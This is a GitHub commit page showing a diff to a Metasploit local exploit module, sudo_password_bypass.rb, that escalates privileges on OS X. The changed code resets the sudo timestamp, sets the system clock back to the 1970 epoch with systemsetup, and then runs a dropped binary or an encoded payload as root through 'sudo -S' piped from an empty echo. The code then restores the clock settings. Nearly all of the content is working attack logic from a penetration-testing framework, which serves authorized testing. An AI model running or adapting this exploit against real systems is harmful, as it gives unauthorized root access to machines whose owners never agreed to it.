Skip to content

Commit

Permalink
Merge pull request #3 from jvazquez-r7/work_osx
Browse files Browse the repository at this point in the history
Merge in juan's improvements to module
  • Loading branch information
jvennix-r7 committed Aug 24, 2013
2 parents 3cdc6ab + b13d357 commit d44a33c
Showing 1 changed file with 50 additions and 34 deletions.
84 changes: 50 additions & 34 deletions modules/exploits/osx/local/sudo_password_bypass.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,12 @@
require 'shellwords'

class Metasploit3 < Msf::Exploit::Local

# ManualRanking because it's going to modify system time
# Even when it will try to restore things, user should use
# it at his own risk
Rank = NormalRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::EXE
Expand Down Expand Up @@ -49,7 +55,7 @@ def initialize(info={})
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X86_64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter'],
'SessionTypes' => [ 'shell' ],
'Targets' => [
[ 'Mac OS X x86 (Native Payload)',
{
Expand All @@ -74,7 +80,7 @@ def initialize(info={})
'DisclosureDate' => 'Feb 28 2013'
))
register_advanced_options([
OptString.new('TMP_FILE',
OptString.new('TMP_FILE',
[true,'For the native targets, specifies the path that '+
'the executable will be dropped on the client machine.',
'/tmp/.<random>/<random>']
Expand Down Expand Up @@ -113,7 +119,6 @@ def exploit
else
# "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...")
print_status("Saving system clock config...")

# drop the payload (unless CMD)
if using_native_target?
Expand All @@ -124,16 +129,12 @@ def exploit
print_status("Payload dropped and registered for cleanup")
end

print_status("Executing: #{SYSTEMSETUP_PATH} -gettime")
print_status("Saving system clock config...")
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
print_status("Executing: #{SYSTEMSETUP_PATH} -getdate")
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
print_status("Executing: #{SYSTEMSETUP_PATH} -getusingnetworktime")
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
print_status("Executing: #{SYSTEMSETUP_PATH} -gettimezone")
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
@network_server = if @networked
print_status("Executing: #{SYSTEMSETUP_PATH} -getnetworktimeserver")
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
end

Expand All @@ -153,63 +154,78 @@ def exploit
end

def cleanup
do_cleanup_once
do_cleanup_once(session)
super
end

def on_new_session(session)
do_cleanup_once
do_cleanup_once(session)
super
end

private

def run_sudo_cmd
sudo_cmd_raw = if using_native_target?
['sudo', '-S', [drop_path].shelljoin].join(' ')
elsif using_cmd_target?
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
end

## to prevent the password prompt from destroying session
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & sleep 5'

print_status("Executing: sudo -k; \n"+
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+
" -settimezone GMT -settime 00:00")
print_status("Resetting user's time stamp file and setting clock to the epoch")
cmd_exec(
"sudo -k; \n"+
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT"+
" -setdate 01:01:1970 -settime 00:00"
)

print_good "Running: "
print sudo_cmd + "\n"
output = cmd_exec(sudo_cmd)
# Run Test
test = rand_text_alpha(4 + rand(4))
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')

print_status("Executing test...")
output = cmd_exec('echo "" | ' + sudo_cmd_test)

if output =~ /incorrect password attempts\s*$/i
fail_with(Exploit::Failure::NotFound,
"User has never run sudo, and is therefore not vulnerable. Bailing.")
fail_with(Exploit::Failure::NotFound, "User has never run sudo, and is therefore not vulnerable. Bailing.")
elsif output =~ /#{test}/
print_good("Test executed succesfully. Running payload.")
else
print_error("Unknown fail while testing, trying to execute the payload anyway...")
end
print_good output


# Run Payload
sudo_cmd_raw = if using_native_target?
['sudo', '-S', [drop_path].shelljoin].join(' ')
elsif using_cmd_target?
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
end

## to prevent the password prompt from destroying session
## backgrounding the sudo payload in order to keep both sessions usable
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'

print_status "Running command: "
print_line sudo_cmd
output = cmd_exec(sudo_cmd)

end

def do_cleanup_once
# cmd_exec doesn't allow to get a session, so there is no way to make the cleanup
# from the new privileged session, when called from the on_new_session callback.
def do_cleanup_once(session)
return if @_cleaned_up
@_cleaned_up = true

print_status("Resetting system clock to original values") if @time
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
session.shell_command_token("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
session.shell_command_token("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
session.shell_command_token("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?

if @networked
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
session.shell_command_token("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
unless @network_server.nil?
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
session.shell_command_token("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
end
end

print_success("Completed clock reset.") if @time
print_good("Completed clock reset.") if @time
end

# helper methods for accessing datastore
Expand Down

0 comments on commit d44a33c

Please sign in to comment.